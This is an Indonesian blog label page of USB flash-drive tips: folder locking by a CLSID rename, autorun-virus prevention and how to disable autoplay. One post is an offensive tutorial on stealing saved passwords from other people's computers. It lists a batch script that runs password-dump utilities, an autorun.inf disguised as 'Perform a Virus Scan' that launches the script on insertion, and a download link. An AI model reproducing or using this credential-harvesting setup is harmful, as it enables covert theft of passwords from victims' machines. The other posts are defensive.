Tampilkan postingan dengan label Tips dan trik di flashdisk. Tampilkan semua postingan
Tampilkan postingan dengan label Tips dan trik di flashdisk. Tampilkan semua postingan

Sekarang sudah banyak sekali software freeware yang ditawarakan untuk menarik minat konsumen terhadap software tersebut. Salah satunya software untuk mengunci folder, tapi kali ini saya mau membagikan cara menguci folder tanpa harus menggunakan bantuan software.
Silahkan dicoba sendiri ya …






Ikuti langkah-langkah sederhana di bawah ini untuk mengunci folder di windows XP.

1. Pertama anda membuat folder bernama contoh:  D: \ TestFolder

2. Go to Start -> All Program -> Accessories dan pilih Notepad
Copy dan paste perintah di bawah ini ke notepad

ren TestFolder TestFolder. (21EC2020-3AEA-1069-A2DD-08002B30309D)

dan Save file dengan nama LockFolder.bat

3. Buat lagi file baru di notepad
Copy dan paste perintah di bawah ini ke notepad

ren TestFolder. (21EC2020-3AEA-1069-A2DD-08002B30309D) TestFolder

Simpan dengan nama OpenLockFolder.bat

4. Sekarang anda memiliki dua file batch. Klik dua kali folder LockFolder.bat dan akan berubah menjadi Control Panel dan isinya tidak dapat dilihat.


5. Untuk membuka folder klik ganda  OpenLockFolder.bat dan Anda kembali ke folder asli Anda.


Catatan: Anda harus menjalankan batch file di partisi yang sama atau drive dimana folder yang ingin Anda kunci

Cara mengunci folder tanpa software

Read More

Anti Virus bukanlah satu-satunya cara guna mencegah penyebaran virus ke komputer kita. Ada satu cara yg lebih simple, mudah dan murah ketimbang menggunakan anti virus, cara tersebut adalah logika AUTORUN.
AUTORUN.INF Mencegah Trojan.

Sebagian besar virus khususnya trojan melakukan misi penyebarannya lewat AUTORUN.INF maka kemudian salah seorang member kaskus dg nick "THE HANDSOME" menemukan trik untuk mengatasi virus jenis diatas, caranya sederhana sekali, perhatikan langkah berikut:

  1. Di root directory dari semua partisi dan flash disk mu, buat sebuah folder bernama AUTORUN.INF Ubah atribbut folder ini menjadi "Read Only" dan "Hidden". Kalau perlu, "System".
  2. Dalam folder AUTORUN.INF tersebut, buat 1 atau 2 file .txt Rename file .txt tersebut, ganti filenamenya jadi mengandung 2-3 huruf CJK (Chinese-Japanese-Korea) Gunakan saja Character Map dengan font Arial Unicode atau MingLiU atau Batang atau Gulim atau Gungsuh atau... pokoknya font yang mengandung huruf CJK.

Logika Pertama:
Trik ini bisa jalan karena Windows tidak membolehkan pembuatan file yang serupa namanya dengan nama folder. Selain itu, cara mendelete folder sangat berbeda dengan cara mendelete file.
Sebagian besar virus wabilkhusus trojan menular menggunakan AUTORUN.INF jadi mustinya metode ini menolong mencegah penularan.

Logika Kedua:
Keberadaan file txt dalam folder AUTORUN.INF tersebut menjamin folder tersebut tidak bisa dihapus, kenapa...? Karena huruf CJK akan mempersulit pembuat virus yang mengandalkan VBScript karena VBScript tidak support Unicode.

Mencegah virus dengan AUTORUN.INF

Read More

Virus-virus lokal punya satu kekhasan yang jarang ditemukan pada hama komputer buatan luar negeri. Virus atau worm luar biasanya memanfaatkan jaringan internet buat menyebar. Lain halnya dengan virus lokal. Penciptanya kerap kali merancang virusnya agar dapat berkembang biak melalui perantaraan usb disk, baik itu flash disk ataupun hard disk portabel. Ini mungkin karena di Indonesia umumnya pertukaran data lewat medium portabel jauh lebih mudah dilakukan.

Saya sendiri sempat berkenalan dengan dua jenis virus lokal yang menyebar melalui usb disk ini. Untungnya keduanya relatif jinak, tidak seperti virus Brontok yang terkenal ganas itu. Dan lebih mujur lagi kedua jenis virus itu saya temui di komputer orang lain.

Keduanya memiliki cara penularan yang sama: via flash/portable disk. Modus penularannya juga sama, yaitu dengan memanfaatkan fitur autorun pada Windows. Fitur autorun (atau autoplay) ini sebenarnya ditujukan untuk medium seperti CD-ROM atau DVD, agar komputer dapat langsung menjalankan program (biasanya installer) dalam cakram optik tersebut ketika disisipkan. Fitur autorun ini diaktifkan oleh komputer tertular dengan menuliskan berkas AUTORUN.INF ke dalam flash disk. Berkas ini dibikin tersembunyi (hidden) dan diubah statusnya menjadi read-only. Berkas AUTORUN.INF ini berisi perintah untuk menjalankan berkas lain berupa program yang juga dimasukkan oleh komputer tertular. Program ini bisa ditulis dalam Visual Basic (ini berarti kita dapat membaca sendiri kodenya), atau berupa berkas executable biner. Berkas kedua ini bertugas untuk menulari komputer lain. Kemudian ketika flash disk pertama kali ditancapkan ke slot USB, dan komputer mendeteksi berkas AUTORUN.INF ia akan membacanya dan kemudian menjalankan perintah menjalankan program penular tersebut. Dari dua kejadian yang saya temui program antivirus yang terpasang sama sekali tidak memperingatkan keberadaan virus di dalam flash disk tersebut.

Menghapus dan mencegah virus

Mengobati komputer yang sudah terjangkit virus agak merepotkan. Untungnya membersihkan USB disk dan menangkal penjalarannya di komputer yang masih bersih cukup mudah.

Dalam kedua kasus saya menemukan mekanisme penularan ini ketika menggunakan USB disk di komputer yang menjalankan sistem operasi non-Windows (dalam hal ini, Fedora 7). Sejauh ini Fedora 7 dan distribusi Linux lainnya (dan Mac OS) kebal dari penularan virus Windows. Karena itu cukup aman menggunakan sistem non-Windows buat membersihkan virus yang memanfaatkan fitur autorun dari USB disk. Buka berkas AUTORUN.INF menggunakan editor teks, lalu dari sana cari berkas mana yang akan dijalankan secara otomatis. Cari dan hapus berkas tersebut. Terakhir hapus juga berkas AUTORUN.INF.

Penangkalan virus ini di komputer Windows cukup jelas: matikan fitur autorun. Ini tidak akan menjamin sepenuhnya komputer kebal dari penularan lewat USB disk, namun akan menangkal Namun bagaimana caranya?

Pemakai Windows XP dapat mengunduh Tweak UI, yang merupakan salah satu utilitas Microsoft Power Toys dari http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx Klik berkas TweakUIPowerToySetup untuk memasang utilitas tersebut. Setelah selesai luncurkan Tweak UI. Di panel sebelah kiri jendela aplikasi ini pilih My Computer, lalu pilih Types. Kosongkan kotak di samping Enable Autoplay for removable drives, lalu klik Apply. Kalau mau Anda bisa juga menonaktifkan pilihan Enable Autoplay for CD and DVD drives.

Sumber: Internet

Mencegah penularan virus via usb disk

Read More


Quantcast
Tutorial ini menjelaskan cara hack password menggunakan usb flash drive.  Saya sudah membuat satu rar file yang berisi semua apa yang kamu butuhkan untuk hack password menggunakan usb, terdiri dari MessenPass, PasswordFox, Protected Passview, IE Passview, Mail passview, launch.bat , autorun.inf.

MessenPass adalah menampilkan sandi yang mengungkapkan password dari aplikasi messenger berikut  : MSN Messenger, Windows Messenger (In Windows XP) , Windows Live Messenger (In Windows XP/Vista/7) , Yahoo Messenger (Versions 5.x and 6.x), Google Talk, ICQ Lite 4.x/5.x/2003, AOL Instant Messenger v4.6 or below, AIM 6.x, and AIM Pro., Trillian, Trillian Astra, Miranda, GAIM/Pidgin, MySpace IM, PaltalkScene, Digsby

PasswordFox adalah pemulihan password kecil yang memungkinkan kamu untuk melihat nama pengguna dan password yang disimpan oleh browser Mozilla Firefox Web.

Protected Storage PassView adalah utilitas kecil yang mengungkapkan password disimpan di komputer kamu  dengan Internet Explorer, Outlook Express dan MSN Explorer.  Password diungkapkan dengan membaca informasi dari Protected Storage.

IE PassView adalah utilitas manajemen password kecil yang mengungkapkan password yang disimpan oleh browser Internet Explorer Web, dan memungkinkan kamu untuk menghapus password yang kamu tidak perlu lagi.  Mendukung semua versi Internet Explorer

Mail PassView adalah alat password – recovery kecil yang mengungkapkan password dan rincian rekening lainnya untuk klien email.

Launch .bat adalah batch script yang menjalankan semua program yang saya sebutkan di atas.

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

autorun.inf akan berjalan launch.bat setelah memasukkan usb tersebut.
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

Cara Penggunaan :
1. Download programnya disini (203 Kb)
Password Rar : leitekatze
2. Ekstrak file Rar tersebut, lalu akan muncul folder hack password.
3. Untuk menjalankan programmya, klik kanan file launch.bat pilih Run as administrator (kalau menggunakan Windows 7, kalau kamu pake Windows Xp, cukup di klik 2x aja)



Selanjutnya kamu akan mendapatkan file notepad yg berekstensi .txt


Buka file .txt tersebut, disanalah kamu bisa melihat password yang tersimpan di dalam komputer kamu atau orang lain.
Kalau mau secara otomatis mendapatkan password yg tersimpan di dalam komputer tujuan saat mencolokkan flashdisk kamu, copy file yang ada di folderhack password ke Flashdisk kamu (tanpa folder). Kalau ada file autorun.inf buatan smadav, kamu harus menghapusnya terlebih dahulu, caranya di bagian Settings Smadav.

sumber: http://leitekatze.wordpress.com/2011/04/02/cara-hack-password-menggunakan-usb-flashdisk/

Cara Hack Berbagai Macam Password Menggunakan USB Flashdisk

Read More


 Siapa yang ga pengen flshdisk milik sendiri ga kemasukan virus?

Cara mencegah mencegah flashdisk kita agar tidak dapat ditempati oleh virus-virus penggangu yg suka nongkrong di flashdisk. caranya mirip dgn membuat folder autorun.inf di flashdisk agar file autorun.inf virus tidak bisa masuk ke flashdisk.

nah, sekarang liat contohnya dbwah:



contoh:
kalau ada file virus "boot.exe" di flashdisk kita, kita tinggal delete aja file itu trus buat folder dgn nama "boot.exe". dijamin virus "boot.exe" ga akan bisa mampir ke flashdisk anda lg. trus buat folder "con" di dalem folder "boot.exe" biar foldernya ga bisa di delete.
sama jg kalau ada virus yg ngebuat folder di flashdisk, cara cegahinnya yaitu dengan buat file yg di beri nama folder virusnya.

contoh:
misal ada virus yg buat folder "recycle" di dalem flashdisk, kita tinggal buat file trus kasih nama "recycle", beres deh!

semoga tips ini bermanfaat bagi nusa, bangsa, dan negara :D

note: cara ini tidak selalu berhasil, karena banyak virus yg menggunakan nama yg random (acak)

Tips Buat Flashdisk jadi Anti dengan Virus

Read More

Copyright © 2014 Tips dan trik informasi teknologi | Designed With By Blogger Templates
Scroll To Top